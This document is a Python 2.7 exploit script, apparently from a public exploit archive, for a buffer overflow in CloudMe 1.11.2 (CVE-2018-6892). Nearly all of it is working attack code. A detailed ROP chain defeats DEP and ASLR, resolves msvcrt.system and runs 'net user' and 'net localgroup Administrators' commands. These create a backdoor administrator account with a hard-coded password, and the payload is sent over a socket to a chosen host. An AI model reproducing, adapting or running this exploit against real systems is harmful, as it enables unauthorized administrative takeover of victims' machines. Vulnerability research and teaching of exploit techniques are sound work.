CloudMe 1.11.2 Buffer Overflow

`# Exploit Title: CloudMe 1.11.2 - Turing Complete Add-Admin ROP (DEP,ASLR)  
# Exploit Author: Bobby Cooke (boku)  
# CVE: CVE-2018-6892  
# Date: September 29th, 2020  
# Vendor Homepage: https://www.cloudme.com/  
# Software Link: https://www.cloudme.com/downloads/CloudMe_1112.exe  
# Version: 1.11.2  
# Tested On: Windows 10 (x64) - 10.0.19041 Build 19041  
# Script: Python 2.7  
# Notes:  
# This exploit uses MSVCRT.System to create a new user (boku:0v3R9000!) and add the new user to the   
# Administrators group. A requirement of successful exploitation is the CloudMe.exe process must be   
# running as adminstrator, such as when ran with 'Run as Administrator'; as this permission is required   
# to create new users on the system. This exploit has been tested against multiple Windows 10 systems   
# including x86, x64, Pro, Education, Home; although there is no guarantee it will work in your CTF.  
  
import os,sys,socket,struct  
from colorama import Fore, Back, Style  
  
F = [Fore.RESET,Fore.BLACK,Fore.RED,Fore.GREEN,Fore.YELLOW,Fore.BLUE,Fore.MAGENTA,Fore.CYAN,Fore.WHITE]  
B = [Back.RESET,Back.BLACK,Back.RED,Back.GREEN,Back.YELLOW,Back.BLUE,Back.MAGENTA,Back.CYAN,Back.WHITE]  
S = [Style.RESET_ALL,Style.DIM,Style.NORMAL,Style.BRIGHT]  
ok = S[3]+F[2]+')'+F[5]+'+++'+F[2]+'['+F[8]+'========> '+S[0]+F[0]  
err = S[3]+F[2]+'<========'+F[2]+'['+F[5]+'+++'+F[2]+'( '+F[0]+S[0]  
def formatMsg(STRING):  
return ok+S[3]+F[5]+STRING+S[0]  
def formatErr(STRING):  
return err+S[3]+F[2]+STRING+S[0]  
  
# Base | Top | Rebase | SafeSEH | ASLR | NXCompat | OS Dll | Modulename  
# -------------------------------------------------------------------------------------------------------  
# 0x69900000 | 0x69ac1000 | False | False | False | False | False | [Qt5Network.dll]  
# 0x6eb40000 | 0x6eb64000 | False | False | False | False | False | [libgcc_s_dw2-1.dll]  
# 0x68a80000 | 0x69055000 | False | False | False | False | False | [Qt5Core.dll]  
# 0x00400000 | 0x00831000 | False | False | False | False | False | [CloudMe.exe]  
# 0x6d9c0000 | 0x6da0c000 | False | False | False | False | False | [Qt5Sql.dll]  
# 0x64b40000 | 0x64b5b000 | False | False | False | False | False | [libwinpthread-1.dll]  
# 0x66e00000 | 0x66e3d000 | False | False | False | False | False | [Qt5Xml.dll]  
  
def getESP_RC():  
GaDG3Tz = [  
# ESP -> EDI  
# Clobbers: BL # [EBX+5E5B10C4] must be writable # Requires ROPNOP  
# Address=68F79000 Size=0007A000 (499712.) Owner=Qt5Core 68A80000 Section=.eh_fram Type=Imag 01001002 Access=RWE CopyOnWr   
0x68bb4678, # POP EBX # RETN [Qt5Core.dll]   
0x0A9C8F3C, # EBX + 0x5E5B10C4 = 0x68F7A000 = Writeable Memory  
0x68d5e818, # PUSH ESP # OR BL,DL # INC DWORD PTR DS:[EBX+5E5B10C4] # POP EDI # RETN 0x04 [Qt5Core.dll]  
0x68D50537, # RETN - ROPNOP  
0x68D50537 # RETN - ROPNOP  
]  
print(formatMsg("Get ESP ROP Chain built!"))  
return ''.join(struct.pack('<I', _) for _ in GaDG3Tz)  
  
def msvcrt_rop_chain():  
GaDG3Tz = [  
# HMODULE LoadLibraryA( LPCSTR lpLibFileName);  
# $ ==> > CALL to LoadLibraryA  
# $+4 > FileName = "msvcrt.dll"  
# EAX = 0x512 = 1298  
0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]  
0xFFFFFAEE, # NEG FFFFFAEE = 0x512  
0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll]  
# EDI + EAX = End of string "msvcrt.dll"  
0x68fc83b0, # add edi, eax # add eax, 41140e0a # ret [Qt5Core.dll]   
# EAX = 0x01  
0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]  
0xFFFFFFFF, # NEG FFFFFFfF = 0x01  
0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll]  
# EAX = 0x0  
0x68c7aa16, # DEC EAX # RETN [Qt5Core.dll]  
# ECX = 0x0  
0x68be726b, # XCHG EAX,ECX # RETN [Qt5Core.dll]   
# Terminate String "msvcrt.dll"  
0x68cee06d, # XOR ESI,ESI # RETN [Qt5Core.dll] (Clear ESI)  
0x68fbed52, # ADD ESI,EDI # ADD AL,0A # RETN [Qt5Core.dll] (EDI -> ESI)  
0x68fa9d0d, # mov [esi], cl # adc al, 41 # ret [Qt5Core.dll]  
# EAX = -0xA = 0xFFFFFFF6  
0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]  
0xFFFFFFF6, # -0xA  
# ESI = Start of string "msvcrt.dll\x00"  
0x68c050c0, # ADD ESI,EAX # INC EBP # RETN [Qt5Core.dll]  
# EAX = PTR LoadLibraryA (from CloudMe Import Table)  
# CloudMe Address=0081A168 Section=.idata Type=Import (Known) Name=KERNEL32.LoadLibraryA  
0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]  
0xFF7E5E98, # NEG FF7E5E98 = 0081A168 = PTR Kernel32.LoadLibraryA  
0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll]  
# EAX = kernel32.LoadLibraryA  
0x699030c5, # mov eax,dword ptr ds:[eax] [Qt5Network.dll]   
# ESI = kernel32.LoadLibraryA # EAX = Addr string "msvcrt.dll\x00"  
0x68d50536, # XCHG EAX,ESI # RETN [Qt5Core.dll]  
# For PUSHAD we need: EDI=FarRETN # ESI=&LoadLibraryA # EAX=["msvcrt.dll"] # ECX=ROPNOP  
0x68d32800, # POP ECX # RETN [Qt5Core.dll]  
0x68D50537, # RETN - ROPNOP  
0x699f37ad, # POP EDI # RETN [Qt5Network.dll]  
0x6990F972, # RETN 10 [Qt5Network.dll]   
0x68f7bc5e, # pushad # ret # [Qt5Core.dll]  
# EAX -> EBP = msvcrt.dll  
0x68cc462c # XCHG EAX,EBP # RETN [Qt5Core.dll]  
# EBP = msvcrt.dll  
]  
print(formatMsg("LoadLibraryA(LPSTR \"msvcrt.dll\") ROP Chain built!"))  
return ''.join(struct.pack('<I', _) for _ in GaDG3Tz)  
  
def GetProc_system_rop_chain():  
GaDG3Tz = [  
# FARPROC GetProcAddress( HMODULE hModule, LPCSTR lpProcName);  
# $ ==> > CALL to GetProcAddress # EDX (ROPNOP)  
# $+4 > hModule = [msvcrt] # ECX  
# $+8 > ProcNameOrOrdinal (system) # EAX  
# EAX = 0x4a2 = 1186  
0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]  
0xFFFFFB5E, # NEG FFFFFB5E = 0x4A2  
0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll]  
# EDI + EAX = End of string "system"  
0x68fc83b0, # add edi, eax # add eax, 41140e0a # ret [Qt5Core.dll]   
# EAX = 0x01  
0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]  
0xFFFFFFFF, # NEG FFFFFFfF = 0x01  
0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll]  
# EAX = 0x0  
0x68c7aa16, # DEC EAX # RETN [Qt5Core.dll]  
# ECX = 0x0  
0x68be726b, # XCHG EAX,ECX # RETN [Qt5Core.dll]  
# Terminate String "system"  
0x68cee06d, # XOR ESI,ESI # RETN [Qt5Core.dll] (Clear ESI)  
0x68fbed52, # ADD ESI,EDI # ADD AL,0A # RETN [Qt5Core.dll] (EDI -> ESI)  
0x68fa9d0d, # mov [esi], cl # adc al, 41 # ret [Qt5Core.dll]  
# EAX = -0x6 = 0xFFFFFFFA  
0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]  
0xFFFFFFFA, # -0x6  
# ESI = Start of string "system\x00"  
0x68c050c0, # ADD ESI,EAX # INC EBP # RETN [Qt5Core.dll]  
0x68fcf58d, # DEC EBP # RETN [Qt5Core.dll](fix EBP for prev gadgets)   
# EAX = PTR GetProcAddr (from CloudMe Import Table)  
# CloudMe Address=0081A148 # Section=.idata # Type=Import # Name=KERNEL32.GetProcAddress  
0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]  
0xFF7E5EB8, # NEG FF7E5EB8 = 0081A148 = PTR Kernel32.GetProcAddr  
0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll]  
0x699030c5, # mov eax,dword ptr ds:[eax] [Qt5Network.dll]   
0x68b48196, # XCHG EAX,ESI # RETN [Qt5Core.dll]  
0x68be726b, # XCHG EAX,ECX # RETN [Qt5Core.dll]  
# ESI = &kernel32.GetProcAddr # ECX=["system\x00"]# EBP=msvcrt.dll   
# For PUSHAD we need: EDI=FarRETN # ESI=&GetProcAddress # ECX=msvcrt.dll # EAX=["system"]# EDX=ROPNOP  
# EBP -> EAX = msvcrt.dll  
0x68cc462c, # XCHG EAX,EBP # RETN [Qt5Core.dll]  
# ECX=&msvcrt.dll # EAX=["system\x00"]  
0x68be726b, # XCHG EAX,ECX # RETN [Qt5Core.dll]  
# EDX=ROPNOP  
0x68f94685, # POP EDX # RETN [Qt5Core.dll]  
0x68D50537, # RETN - ROPNOP  
# EDI=FarRETN  
0x699f37ad, # POP EDI # RETN [Qt5Network.dll]  
0x699010B4, # ret 0C [Qt5Network.dll]   
# KERNEL32.GetProcAddress [ESI pushed to stack]  
# [EBP pushed to stack]  
# [ESP pushed to stack]  
# [EBX pushed to stack]  
# land after ret 0xC -> Qt5Core.68D50537 (ROPNOP) [EDX pushed to stack]  
# MSVCRT.75F60000 [ECX pushed to stack]  
# ASCII "system" [EAX pushed to stack]  
0X68f7bc5e, # pushad # ret # [Qt5Core.dll]  
0x68b1df17 # XCHG EAX,EDX # RETN # [Qt5Core.dll]  
# EDX = msvcrt.system  
]  
print(formatMsg("GetProcAddress(HMODULE msvcrt, LPCSTR system) ROP Chain built!"))  
return ''.join(struct.pack('<I', _) for _ in GaDG3Tz)  
  
def addUsr_rop_chain():  
GaDG3Tz = [  
# int system( const char *command);  
# $ ==> > CALL to system  
# $+4 > command = "net user boku 0v3R9000! /add"  
# EAX = 0x438 = 1080   
0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]  
0xFFFFFBC8, # NEG 0xFFFFFBC8 = 0x438  
0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll]  
# EDI + EAX = End of string "net user..."  
0x68fc83b0, # add edi, eax # add eax, 41140e0a # ret [Qt5Core.dll]   
# EAX = 0x01  
0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]  
0xFFFFFFFF, # NEG FFFFFFfF = 0x01  
0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll]  
# EAX = 0x0  
0x68c7aa16, # DEC EAX # RETN [Qt5Core.dll]  
# ECX = 0x0  
0x68be726b, # XCHG EAX,ECX # RETN [Qt5Core.dll]  
# Terminate String "net user..."  
0x68cee06d, # XOR ESI,ESI # RETN [Qt5Core.dll] (Clear ESI)  
0x68fbed52, # ADD ESI,EDI # ADD AL,0A # RETN [Qt5Core.dll] (EDI -> ESI)  
0x68fa9d0d, # mov [esi], cl # adc al, 41 # ret [Qt5Core.dll]  
# EAX = -28 = -0x1C = 0xFFFFFFE4  
0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]  
0xFFFFFFE4, # -28 = -0x1C  
# ESI = Start of string "net user...\x00"  
0x68c050c0, # ADD ESI,EAX # INC EBP # RETN [Qt5Core.dll]  
# EDX = MSVCRT.system # ECX=0x0  
# For PUSHAD we need: EDI=FarRETN # ESI=MSVCRT.system # EAX=["net user.."] # ECX=POP+RET  
0x68d32800, # POP ECX # RETN [Qt5Core.dll]  
0x699f37ad, # POP EDI # RETN [Qt5Network.dll]  
# ESI = MSVCRT.system # EAX = ["net user.."]  
0x68b1df17, # XCHG EAX,EDX # RETN # [Qt5Core.dll]  
0x68b48196, # XCHG EAX,ESI # RETN [Qt5Core.dll]  
# EDI=FarRETN  
0x699f37ad, # POP EDI # RETN [Qt5Network.dll]  
0x6990F972, # RETN 10 [Qt5Network.dll]   
# PUSHAD - Setup Call to MSVCRT.system on stack  
0X68f7bc5e # pushad # ret # [Qt5Core.dll]  
]  
print(formatMsg("system(const char* \"net user boku 0v3R9000! /add\") ROP Chain built!"))  
return ''.join(struct.pack('<I', _) for _ in GaDG3Tz)  
  
def addAdm_rop_chain():  
GaDG3Tz = [  
# ESI = msvcrt.system  
# ESI -> EDX  
0x68b48196, # XCHG EAX,ESI # RETN [Qt5Core.dll]  
0x68b1df17, # XCHG EAX,EDX # RETN # [Qt5Core.dll]  
# EAX = 0x3F7   
0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]  
0xFFFFFC09, # NEG 0xFFFFFC09 = 0x3F7  
0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll]  
# EDI + EAX = End of string "net local..."  
0x68fc83b0, # add edi, eax # add eax, 41140e0a # ret [Qt5Core.dll]   
# EAX = 0x01  
0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]  
0xFFFFFFFF, # NEG FFFFFFfF = 0x01  
0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll]  
# EAX = 0x0  
0x68c7aa16, # DEC EAX # RETN [Qt5Core.dll]  
# ECX = 0x0  
0x68be726b, # XCHG EAX,ECX # RETN [Qt5Core.dll]  
# Terminate String "net local..."  
0x68cee06d, # XOR ESI,ESI # RETN [Qt5Core.dll] (Clear ESI)  
0x68fbed52, # ADD ESI,EDI # ADD AL,0A # RETN [Qt5Core.dll] (EDI -> ESI)  
0x68fa9d0d, # mov [esi], cl # adc al, 41 # ret [Qt5Core.dll]  
# EAX = -39 = -0x27 = 0xFFFFFFE4  
0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]  
0xFFFFFFD9, # -39 = -0x27  
# ESI = Start of string "net local...\x00"  
0x68c050c0, # ADD ESI,EAX # INC EBP # RETN [Qt5Core.dll]  
# EDX = MSVCRT.system # ECX=0x0  
# For PUSHAD we need: EDI=FarRETN # ESI=MSVCRT.system # EAX=["net local.."] # ECX=ROPNOP  
0x68d32800, # POP ECX # RETN [Qt5Core.dll]  
0x699f37ad, # POP EDI # RETN [Qt5Network.dll]  
# ESI = MSVCRT.system # EAX = ["net local.."]  
0x68b1df17, # XCHG EAX,EDX # RETN # [Qt5Core.dll]  
0x68b48196, # XCHG EAX,ESI # RETN [Qt5Core.dll]  
# EDI=FarRETN  
0x699f37ad, # POP EDI # RETN [Qt5Network.dll]  
0x6990F972, # RETN 10 [Qt5Network.dll]   
# PUSHAD - Setup Call to MSVCRT.system on stack  
0X68f7bc5e # pushad # ret # [Qt5Core.dll]  
]  
print(formatMsg("system(const char* \"net localgroup Administrators boku /add\") ROP Chain built!"))  
return ''.join(struct.pack('<I', _) for _ in GaDG3Tz)  
  
def sendRecv(s,p):  
print(formatMsg("Sending payload: "))  
print(S[3]+F[7]+payload+S[0])  
s.send(p)  
data = s.recv(1024)  
return data  
  
def header():  
head = S[3]+F[2]+' --- Cloudme v1.12 | Add Admin (boku:0v3R9000!) ---\n'+S[0]  
return head  
  
def sig():  
SIG = S[3]+F[4]+" .-----.._ ,--.\n"  
SIG += F[4]+" | .. > ___ | | .--.\n"  
SIG += F[4]+" | |.' ,'-'"+F[2]+"* *"+F[4]+"'-. |/ /__ __\n"  
SIG += F[4]+" | </ "+F[2]+"* * *"+F[4]+" \ / \\/ \\\n"  
SIG += F[4]+" | |> ) "+F[2]+" * *"+F[4]+" / \\ \\\n"  
SIG += F[4]+" |____..- '-.._..-'_|\\___|._..\\___\\\n"  
SIG += F[4]+" _______"+F[2]+"github.com/boku7"+F[4]+"_____\n"+S[0]  
return SIG  
  
def footer():  
foot = formatMsg('Requires that the Cloudme program is ran using \'Run As Administrator\'\n')  
return foot  
  
if __name__ == "__main__":  
print(header())  
print(sig())  
print(footer())  
if len(sys.argv) != 3:  
print(formatErr("Usage: python %s <IP> <PORT>" % sys.argv[0]))  
print(formaterr("Example: python %s '127.0.0.1' 8888" % sys.argv[0]))  
sys.exit(-1)  
host = sys.argv[1]  
port = int(sys.argv[2])  
  
rop_chain = getESP_RC() + msvcrt_rop_chain() + getESP_RC() + GetProc_system_rop_chain() + getESP_RC() + addUsr_rop_chain() + getESP_RC() + addAdm_rop_chain()  
  
os_EIP = '\41'*1052  
os_nSEH = '\x41'*(2344-len(os_EIP + rop_chain))  
nSEH = '\x42'*4  
SEH = '\x43'*4  
buff = os_EIP + rop_chain + os_nSEH + nSEH + SEH  
  
term = '\r\n'  
kern32 = 'msvcrt.dll'+'AAAAAA'  
winExe = 'system'+'BBBBBB'  
addUsr = 'net user boku 0v3R9000! /add'+'CCCC'  
addAdm = 'net localgroup Administrators boku /add'+'DDDD'  
rmdr = '\x44'*(3854-len(buff)-len(kern32)-len(winExe)-len(addAdm))  
payload = buff + kern32 + winExe + addUsr + addAdm + rmdr + term  
  
try:  
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
sock.connect((host,port))  
print(formatMsg( "Successfully connected to "+host+" on port "+str(port)))  
resp = sendRecv(sock,payload)  
print(formatMsg("Closing Socket"))  
sock.close()  
print(formatErr("Exiting python script."))  
except:  
print(formatErr("Failed to connect and send payload."))  
`